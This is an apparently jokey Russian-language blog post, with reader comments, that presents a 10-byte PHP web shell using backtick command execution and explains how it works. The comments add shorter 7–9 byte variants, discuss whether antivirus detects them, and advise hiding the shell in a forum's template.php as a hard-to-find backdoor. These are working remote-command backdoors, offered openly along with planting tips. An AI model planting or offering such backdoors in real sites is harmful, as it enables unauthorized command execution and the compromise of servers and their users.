Мега релиз: самый короткий шелл =)

Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 10 байт), серьезно не воспринимать! =) Итак, та-дам:

<?=@`$c`?>

Если код показался вам непонятным, то сейчас я постараюсь доступно его объяснить. Прежде всего вместо стандартного <?php … ?> используется <?= … ?>, что эквивалентно <? echo … ?>; требуется включенная опция short_open_tag в php.ini. Для подавления ошибок (так как переменная не инициализирована) используется известный прием: перед выражением ставим @. Собственно выполнение команд реализовано с помощью обратных кавычек (backticks) – довольно хитрый прием, о котором знает далеко не каждый. Например, внедрив строку echo @`$c` в другой скрипт, мы имеем незаметный бэкдор, который очень трудно найти.
Плюсы моего шелла: размер!
Минусы: нужны short_open_tag и register_globals

Join the Conversation

20 Comments

  1. Прикольно, настоящийи webshell а антивирь только подтвреждает
    это.

  2. @R.e.a.L.
    каким антивирем ты пользовался? На вирустотале ни один антивирь ничего подозрительного не увидел

    @Pento
    главный минус – это функциональность =)

  3. касперь 6.0 при запуске скрипта с этим шелом однозначно определяет как потенциально опасное ПО а именно ROOTShell

  4. ого! спасибо за информацию, не ожидал, что этот кусочек кода может быть как-то распознан )

  5. предлагаю немного уменьшить и убрать @! итого получим 9 байт! )

    мы же всегда будем передавать параметр… поэтому при регистрер глобалс переменная всегда будет инициализированя…

    ПС: первый раз написал сам шелл и ПХП обрезано было (

  6. > мы же всегда будем передавать параметр…
    а если это форум? или еще какой движок? допустим, вставим мы в какой-нибудь template.php этот шелл. template.php инклудится из index.php, etc.php. Заходя на сайт/форум, просой постетель будет видеть ошибку php, так как никаких параметров $c он передавать не будет. Так что, лучше подстраховаться и поставить заглушку @.

  7. >просой постетель будет видеть ошибку php
    верно, но в принципе подавление ошибок можно убрать, так как неинициализированная переменная вызывает ошибку уровня E_NOTICE, а на всех хостингах обычно error_reporting выставлен в 7 или даже 0.

  8. А какая разница скока весит шелл ?
    10 байт или ещё плюс 6 🙂

  9. Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 9 байт), серьезно не воспринимать! =) Итак, та-дам:
    <?=@`$z`;

  10. <?`$a`;
    слепое выполнение кода – 7байт

    <?$a($b);
    выполнение произвольного php-кода

    кто меньше?
    ы =)

  11. Прикольно. Хотел написать пример ещё короче, но вышло, что c411k меня уже опередил… да и новость смотрю довольно старая.

    Коммент пишу только потому, что не слышал про самый последний пример электа:
    <?$a($b);

    КАК это работает?

  12. А где вы собираетесь ставить шеллы с “;” на конце, не в конец ли файла? Однако, немного примечательно. Но, если на то пошло:

    “<?$a($b);
    выполнение произвольного php-кода"
    – 9 байт и заморочки с синтаксисом, нельзя в тупую присвоить переменной "a" команду. Пример: при "a" равном "echo 'ololo'" – Parse error: syntax error, unexpected '(', expecting ',' or ';' on line 1
    Но плюс в том, что не нужен short_open_tag (который по дефолту включён).

    <?=@`$c`;
    – 9 байт без заморочек с синтаксисом (минус выше).

Leave a comment

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.